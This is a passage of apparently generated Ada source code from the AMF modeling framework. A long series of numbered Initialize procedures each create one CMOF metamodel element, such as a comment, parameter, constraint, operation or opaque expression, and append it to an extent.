AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_533;
--------------------
-- Initialize_534 --
--------------------
procedure Initialize_534 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_534;
--------------------
-- Initialize_535 --
--------------------
procedure Initialize_535 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_535;
--------------------
-- Initialize_536 --
--------------------
procedure Initialize_536 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_536;
--------------------
-- Initialize_537 --
--------------------
procedure Initialize_537 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_537;
--------------------
-- Initialize_538 --
--------------------
procedure Initialize_538 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_538;
--------------------
-- Initialize_539 --
--------------------
procedure Initialize_539 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_539;
--------------------
-- Initialize_540 --
--------------------
procedure Initialize_540 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_540;
--------------------
-- Initialize_541 --
--------------------
procedure Initialize_541 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_541;
--------------------
-- Initialize_542 --
--------------------
procedure Initialize_542 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_542;
--------------------
-- Initialize_543 --
--------------------
procedure Initialize_543 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_543;
--------------------
-- Initialize_544 --
--------------------
procedure Initialize_544 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_544;
--------------------
-- Initialize_545 --
--------------------
procedure Initialize_545 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_545;
--------------------
-- Initialize_546 --
--------------------
procedure Initialize_546 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_546;
--------------------
-- Initialize_547 --
--------------------
procedure Initialize_547 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_547;
--------------------
-- Initialize_548 --
--------------------
procedure Initialize_548 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_548;
--------------------
-- Initialize_549 --
--------------------
procedure Initialize_549 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_549;
--------------------
-- Initialize_550 --
--------------------
procedure Initialize_550 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_550;
--------------------
-- Initialize_551 --
--------------------
procedure Initialize_551 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_551;
--------------------
-- Initialize_552 --
--------------------
procedure Initialize_552 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_552;
--------------------
-- Initialize_553 --
--------------------
procedure Initialize_553 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_553;
--------------------
-- Initialize_554 --
--------------------
procedure Initialize_554 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_554;
--------------------
-- Initialize_555 --
--------------------
procedure Initialize_555 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_555;
--------------------
-- Initialize_556 --
--------------------
procedure Initialize_556 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_556;
--------------------
-- Initialize_557 --
--------------------
procedure Initialize_557 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_557;
--------------------
-- Initialize_558 --
--------------------
procedure Initialize_558 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_558;
--------------------
-- Initialize_559 --
--------------------
procedure Initialize_559 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_559;
--------------------
-- Initialize_560 --
--------------------
procedure Initialize_560 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_560;
--------------------
-- Initialize_561 --
--------------------
procedure Initialize_561 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_561;
--------------------
-- Initialize_562 --
--------------------
procedure Initialize_562 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_562;
--------------------
-- Initialize_563 --
--------------------
procedure Initialize_563 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_563;
--------------------
-- Initialize_564 --
--------------------
procedure Initialize_564 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_564;
--------------------
-- Initialize_565 --
--------------------
procedure Initialize_565 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_565;
--------------------
-- Initialize_566 --
--------------------
procedure Initialize_566 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_566;
--------------------
-- Initialize_567 --
--------------------
procedure Initialize_567 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_567;
--------------------
-- Initialize_568 --
--------------------
procedure Initialize_568 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_568;
--------------------
-- Initialize_569 --
--------------------
procedure Initialize_569 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_569;
--------------------
-- Initialize_570 --
--------------------
procedure Initialize_570 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_570;
--------------------
-- Initialize_571 --
--------------------
procedure Initialize_571 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_571;
--------------------
-- Initialize_572 --
--------------------
procedure Initialize_572 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_572;
--------------------
-- Initialize_573 --
--------------------
procedure Initialize_573 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_573;
--------------------
-- Initialize_574 --
--------------------
procedure Initialize_574 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_574;
--------------------
-- Initialize_575 --
--------------------
procedure Initialize_575 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_575;
--------------------
-- Initialize_576 --
--------------------
procedure Initialize_576 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_576;
--------------------
-- Initialize_577 --
--------------------
procedure Initialize_577 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_577;
--------------------
-- Initialize_578 --
--------------------
procedure Initialize_578 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_578;
--------------------
-- Initialize_579 --
--------------------
procedure Initialize_579 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_579;
--------------------
-- Initialize_580 --
--------------------
procedure Initialize_580 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_580;
--------------------
-- Initialize_581 --
--------------------
procedure Initialize_581 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_581;
--------------------
-- Initialize_582 --
--------------------
procedure Initialize_582 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_582;
--------------------
-- Initialize_583 --
--------------------
procedure Initialize_583 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_583;
--------------------
-- Initialize_584 --
--------------------
procedure Initialize_584 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_584;
--------------------
-- Initialize_585 --
--------------------
procedure Initialize_585 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_585;
--------------------
-- Initialize_586 --
--------------------
procedure Initialize_586 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_586;
--------------------
-- Initialize_587 --
--------------------
procedure Initialize_587 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_587;
--------------------
-- Initialize_588 --
--------------------
procedure Initialize_588 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_588;
--------------------
-- Initialize_589 --
--------------------
procedure Initialize_589 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_589;
--------------------
-- Initialize_590 --
--------------------
procedure Initialize_590 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_590;
--------------------
-- Initialize_591 --
--------------------
procedure Initialize_591 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_591;
--------------------
-- Initialize_592 --
--------------------
procedure Initialize_592 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_592;
--------------------
-- Initialize_593 --
--------------------
procedure Initialize_593 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_593;
--------------------
-- Initialize_594 --
--------------------
procedure Initialize_594 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_594;
--------------------
-- Initialize_595 --
--------------------
procedure Initialize_595 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_595;
--------------------
-- Initialize_596 --
--------------------
procedure Initialize_596 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_596;
--------------------
-- Initialize_597 --
--------------------
procedure Initialize_597 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_597;
--------------------
-- Initialize_598 --
--------------------
procedure Initialize_598 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_598;
--------------------
-- Initialize_599 --
--------------------
procedure Initialize_599 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_599;
--------------------
-- Initialize_600 --
--------------------
procedure Initialize_600 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_600;
--------------------
-- Initialize_601 --
--------------------
procedure Initialize_601 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_601;
--------------------
-- Initialize_602 --
--------------------
procedure Initialize_602 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_602;
--------------------
-- Initialize_603 --
--------------------
procedure Initialize_603 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_603;
--------------------
-- Initialize_604 --
--------------------
procedure Initialize_604 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_604;
--------------------
-- Initialize_605 --
--------------------
procedure Initialize_605 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_605;
--------------------
-- Initialize_606 --
--------------------
procedure Initialize_606 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_606;
--------------------
-- Initialize_607 --
--------------------
procedure Initialize_607 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_607;
--------------------
-- Initialize_608 --
--------------------
procedure Initialize_608 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_608;
--------------------
-- Initialize_609 --
--------------------
procedure Initialize_609 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_609;
--------------------
-- Initialize_610 --
--------------------
procedure Initialize_610 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_610;
--------------------
-- Initialize_611 --
--------------------
procedure Initialize_611 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_611;
--------------------
-- Initialize_612 --
--------------------
procedure Initialize_612 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_612;
--------------------
-- Initialize_613 --
--------------------
procedure Initialize_613 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_613;
--------------------
-- Initialize_614 --
--------------------
procedure Initialize_614 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_614;
--------------------
-- Initialize_615 --
--------------------
procedure Initialize_615 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_615;
--------------------
-- Initialize_616 --
--------------------
procedure Initialize_616 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_616;
--------------------
-- Initialize_617 --
--------------------
procedure Initialize_617 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_617;
--------------------
-- Initialize_618 --
--------------------
procedure Initialize_618 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_618;
--------------------
-- Initialize_619 --
--------------------
procedure Initialize_619 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_619;
--------------------
-- Initialize_620 --
--------------------
procedure Initialize_620 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_620;
--------------------
-- Initialize_621 --
--------------------
procedure Initialize_621 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_621;
--------------------
-- Initialize_622 --
--------------------
procedure Initialize_622 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_622;
--------------------
-- Initialize_623 --
--------------------
procedure Initialize_623 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_623;
--------------------
-- Initialize_624 --
--------------------
procedure Initialize_624 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_624;
--------------------
-- Initialize_625 --
--------------------
procedure Initialize_625 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_625;
--------------------
-- Initialize_626 --
--------------------
procedure Initialize_626 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_626;
--------------------
-- Initialize_627 --
--------------------
procedure Initialize_627 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_627;
--------------------
-- Initialize_628 --
--------------------
procedure Initialize_628 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_628;
--------------------
-- Initialize_629 --
--------------------
procedure Initialize_629 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_629;
--------------------
-- Initialize_630 --
--------------------
procedure Initialize_630 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
